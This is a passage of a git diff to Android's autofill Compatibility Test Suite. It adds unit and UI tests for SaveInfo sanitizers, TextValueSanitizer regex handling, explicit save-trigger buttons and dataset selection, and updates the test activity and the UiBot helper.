                 () -> builder.setOptionalIds(new AutofillId[] { null }));
     }
+
+    @Test
+    public void testAddSanitizer_illegalArgs() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+                new AutofillId[] { mId });
+        // Null sanitizer
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(null, mId));
+        // Invalid sanitizer class
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mock(Sanitizer.class), mId));
+        // Null ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
+        // Empty ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
+        // Repeated ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
+    }
+
+    @Test
+    public void testAddSanitizer_sameIdOnDifferentCalls() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+                new AutofillId[] { mId });
+        builder.addSanitizer(mSanitizer, mId);
+        assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
+    }
+
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
index 0866b2d..cbb8523 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -16,6 +16,8 @@
 package android.autofillservice.cts;
 
 import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.TextView;
@@ -25,19 +27,24 @@
  */
 public class SimpleSaveActivity extends AbstractAutoFillActivity {
 
+    private static final String TAG = "SimpleSaveActivity";
+
     static final String ID_LABEL = "label";
     static final String ID_INPUT = "input";
     static final String ID_PASSWORD = "password";
     static final String ID_COMMIT = "commit";
     static final String TEXT_LABEL = "Label:";
 
+    private static SimpleSaveActivity sInstance;
+
     TextView mLabel;
     EditText mInput;
     EditText mPassword;
     Button mCancel;
     Button mCommit;
 
-    private static SimpleSaveActivity sInstance;
+    private boolean mAutoCommit = true;
+    private boolean mClearFieldsOnSubmit = false;
 
     public static SimpleSaveActivity getInstance() {
         return sInstance;
@@ -60,7 +67,46 @@
         mCommit = findViewById(R.id.commit);
 
         mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
-        mCommit.setOnClickListener((v) -> getAutofillManager().commit());
+        mCommit.setOnClickListener((v) -> onCommit());
+    }
+
+    private void onCommit() {
+        if (mClearFieldsOnSubmit) {
+            resetFields();
+        }
+        if (mAutoCommit) {
+            Log.d(TAG, "onCommit(): calling AFM.commit()");
+            getAutofillManager().commit();
+        } else {
+            Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
+        }
+    }
+
+    private void resetFields() {
+        Log.d(TAG, "resetFields()");
+        mInput.setText("");
+        mPassword.setText("");
+    }
+
+    /**
+     * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
+     * the commit button is tapped.
+     */
+    void setAutoCommit(boolean flag) {
+        mAutoCommit = flag;
+    }
+
+    /**
+     * Defines whether the activity should automatically clear its fields when submit is clicked.
+     */
+    void setClearFieldsOnSubmit(boolean flag) {
+        mClearFieldsOnSubmit = flag;
+    }
+
+    FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input, null);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
     }
 
     FillExpectation expectAutoFill(String input, String password) {
@@ -76,12 +122,16 @@
 
         private FillExpectation(String input, String password) {
             mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
-            mPasswordWatcher = new OneTimeTextWatcher("password", mPassword, password);
+            mPasswordWatcher = password == null
+                    ? null
+                    : new OneTimeTextWatcher("password", mPassword, password);
         }
 
         void assertAutoFilled() throws Exception {
             mInputWatcher.assertAutoFilled();
-            mPasswordWatcher.assertAutoFilled();
+            if (mPasswordWatcher != null) {
+                mPasswordWatcher.assertAutoFilled();
+            }
         }
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 9fb16a2..ed7e24c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -15,7 +15,10 @@
  */
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
+import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextValue;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
 import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
@@ -26,18 +29,30 @@
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
+import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
 import android.content.Intent;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject2;
 import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
 
 import org.junit.Rule;
 import org.junit.Test;
 
+import java.util.regex.Pattern;
+
 public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
 
     @Rule
@@ -212,6 +227,37 @@
     }
 
     @Test
+    public void testSave_launchIntent() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"));
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextSaveRequest();
+        // ... and assert activity was launched
+        WelcomeActivity.assertShowing(sUiBot, "Saved by the bell");
+    }
+
+    @Test
     public void testSaveThenStartNewSessionRightAway() throws Exception {
         startActivity();
 
@@ -660,6 +706,64 @@
         sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
     }
 
+    @Test
+    public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                // Added on reversed order on purpose
+                .addDataset(new CannedDataset.Builder()
+                        .setId("D2")
+                        .setField(ID_INPUT, "id again")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("D2"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("D1")
+                        .setField(ID_INPUT, "id")
+                        .setPresentation(createPresentation("D1"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select 1st dataset.
+        final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
+        final UiObject2 picker1 = sUiBot.assertDatasets("D2", "D1");
+        sUiBot.selectDataset(picker1, "D1");
+        autofillExpecation1.assertAutoFilled();
+
+        // Select 2nd dataset.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
+        final UiObject2 picker2 = sUiBot.assertDatasets("D2");
+        sUiBot.selectDataset(picker2, "D2");
+        autofillExpecation2.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        sUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+        assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
+    }
+
     @Override
     protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
             throws Exception {
@@ -717,4 +821,322 @@
         assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
         assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
     }
+
+    @Test
+    public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
+        startActivity();
+
+        // Set listeners that will change the saved value
+        new AntiTrimmerTextWatcher(mActivity.mInput);
+        new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId inputId = mActivity.mInput.getAutofillId();
+        final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+    }
+
+    @Test
+    public void testSanitizeOnSaveNoChange() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId inputId = mActivity.mInput.getAutofillId();
+        final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("#id#");
+            mActivity.mPassword.setText("#pass#");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+    }
+
+    @Test
+    public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
+        startActivity();
+
+        // Set listeners that will change the saved value
+        new AntiTrimmerTextWatcher(mActivity.mInput);
+        new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId inputId = mActivity.mInput.getAutofillId();
+        final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"), passwordId)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("#pass#");
+            mActivity.mCommit.performClick();
+        });
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId inputId = mActivity.mInput.getAutofillId();
+        final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+                        inputId, passwordId)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "#id#")
+                        .setField(ID_PASSWORD, "#pass#")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId inputId = mActivity.mInput.getAutofillId();
+        final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+                        inputId, passwordId)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "#pass#")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testExplicitySaveButton() throws Exception {
+        explicitySaveButtonTest(false, 0);
+    }
+
+    @Test
+    public void testExplicitySaveButtonWhenAppClearFields() throws Exception {
+        explicitySaveButtonTest(true, 0);
+    }
+
+    @Test
+    public void testExplicitySaveButtonOnly() throws Exception {
+        explicitySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
+    }
+
+    /**
+     * Tests scenario where service explicitly indicates which button is used to save.
+     */
+    private void explicitySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
+        startActivity();
+        mActivity.setAutoCommit(false);
+        mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveTriggerId(mActivity.mCommit.getAutofillId())
+                .setSaveInfoFlags(flags)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        sUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+    }
+
+    @Override
+    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CustomDescription.Builder customDescription =
+                newCustomDescriptionBuilder(WelcomeActivity.class);
+        final RemoteViews update = newTemplate();
+        if (updateLinkView) {
+            update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+        } else {
+            update.setCharSequence(R.id.static_text, "setText", "ME!");
+        }
+        Validator validCondition = new RegexValidator(mActivity.mInput.getAutofillId(),
+                Pattern.compile(".*"));
+        customDescription.batchUpdate(validCondition,
+                new BatchUpdates.Builder().updateTemplate(update).build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(customDescription.build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi;
+        if (updateLinkView) {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
+        } else {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+            assertThat(changed.getText()).isEqualTo("ME!");
+        }
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
new file mode 100644
index 0000000..572e3b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.TextValueSanitizer;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class TextValueSanitizerTest {
+
+    @Test
+    public void testConstructor_nullValues() {
+        assertThrows(NullPointerException.class,
+                () -> new TextValueSanitizer(Pattern.compile("42"), null));
+        assertThrows(NullPointerException.class,
+                () -> new TextValueSanitizer(null, "42"));
+    }
+
+    @Test
+    public void testSanitize_nullValue() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+        assertThat(sanitizer.sanitize(null)).isNull();
+    }
+
+    @Test
+    public void testSanitize_nonTextValue() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+        final AutofillValue value = AutofillValue.forToggle(true);
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_badRegex() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+                "$2"); // invalid group
+        final AutofillValue value = AutofillValue.forText("blah 42  blaH");
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_valueMismatch() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
+        final AutofillValue value = AutofillValue.forText("43");
+        assertThat(sanitizer.sanitize(value)).isNull();
+    }
+
+    @Test
+    public void testSanitize_simpleMatch() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
+                "forty-two");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+            .isEqualTo("forty-two");
+    }
+
+    @Test
+    public void testSanitize_multipleMatches() {
+        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+                "Number");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42  blaH")).getTextValue())
+            .isEqualTo("NumberNumber");
+    }
+
+    @Test
+    public void testSanitize_groupSubstitutionMatch() {
+        final TextValueSanitizer sanitizer =
+                new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
+        assertThat(sanitizer.sanitize(AutofillValue.forText("  42 ")).getTextValue())
+                .isEqualTo("42");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 5611499..84765ef 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,6 +18,7 @@
 
 import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_DATASET_PICKER_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -44,6 +45,7 @@
 import android.util.Log;
 import android.view.accessibility.AccessibilityWindowInfo;
 
+import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -59,6 +61,7 @@
     private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
     private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+    private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
 
     private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -70,6 +73,9 @@
     private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
     private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
             "autofill_save_type_email_address";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+
     private static final String RESOURCE_STRING_AUTOFILL = "autofill";
     private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
             "autofill_picker_accessibility_title";
@@ -84,13 +90,12 @@
     /** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
     public static int LANDSCAPE = 1;
 
-
     private final UiDevice mDevice;
     private final Context mContext;
     private final String mPackageName;
     private final UiAutomation mAutoman;
 
-    UiBot(Instrumentation instrumentation) throws Exception {
+    UiBot(Instrumentation instrumentation) {
         mDevice = UiDevice.getInstance(instrumentation);
         mContext = instrumentation.getContext();
         mPackageName = mContext.getPackageName();
@@ -118,9 +123,29 @@
      * @return the dataset picker object.
      */
     UiObject2 assertDatasets(String...names) {
-        final UiObject2 picker = findDatasetPicker();
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
         assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
-                .containsExactlyElementsIn(Arrays.asList(names));
+                .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
+        return picker;
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
+     *
+     * @return the dataset picker object.
+     */
+    UiObject2 assertDatasetsWithBorders(String header, String footer, String...names) {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
+        final List<String> expectedChild = new ArrayList<>();
+        if (header != null) {
+            expectedChild.add(header);
+        }
+        expectedChild.addAll(Arrays.asList(names));
+        if (footer != null) {
+            expectedChild.add(footer);
+        }
+        assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(expectedChild).inOrder();
         return picker;
     }
 
@@ -147,7 +172,7 @@
      * Selects a dataset that should be visible in the floating UI.
      */
     void selectDataset(String name) {
-        final UiObject2 picker = findDatasetPicker();
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
         selectDataset(picker, name);
     }
 
@@ -403,11 +428,15 @@
             assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
         }
 
-        final String negativeButtonText = (negativeButtonStyle
-                == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) ? "NOT NOW" : "NO THANKS";
-        UiObject2 negativeButton = snackbar.findObject(By.text(negativeButtonText));
-        assertWithMessage("negative button (%s)", negativeButtonText)
-                .that(negativeButton).isNotNull();
+        final String negativeButtonStringId =
+                (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
+                ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
+                : RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+        final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+        final UiObject2 negativeButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), UI_TIMEOUT_MS);
+        assertWithMessage("wrong text on negative button")
+                .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
 
         final String expectedAccessibilityTitle =
                 getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
@@ -530,6 +559,8 @@
             }
             SystemClock.sleep(napTime);
         }
+        Log.e(TAG, "waitForObject() for " + selector + "failed; dumping screen on System.out");
+        dumpScreen();
         throw new RetryableException("Object with selector '%s' not found in %d ms",
                 selector, UI_TIMEOUT_MS);
 
@@ -575,10 +606,6 @@
                 selector, UI_TIMEOUT_MS);
     }
 
-    private UiObject2 findDatasetPicker() {
-        return findDatasetPicker(UI_TIMEOUT_MS);
-    }
-
     private UiObject2 findDatasetPicker(long timeout) {
         final UiObject2 picker = waitForObject(By.res("android", RESOURCE_ID_DATASET_PICKER),
                 timeout);
@@ -646,7 +673,22 @@
     /**
      * Dumps the current view hierarchy int the output stream.
      */
-    public void dumpScreen() throws IOException {
-        mDevice.dumpWindowHierarchy(System.out);
+    public void dumpScreen() {
+        try {
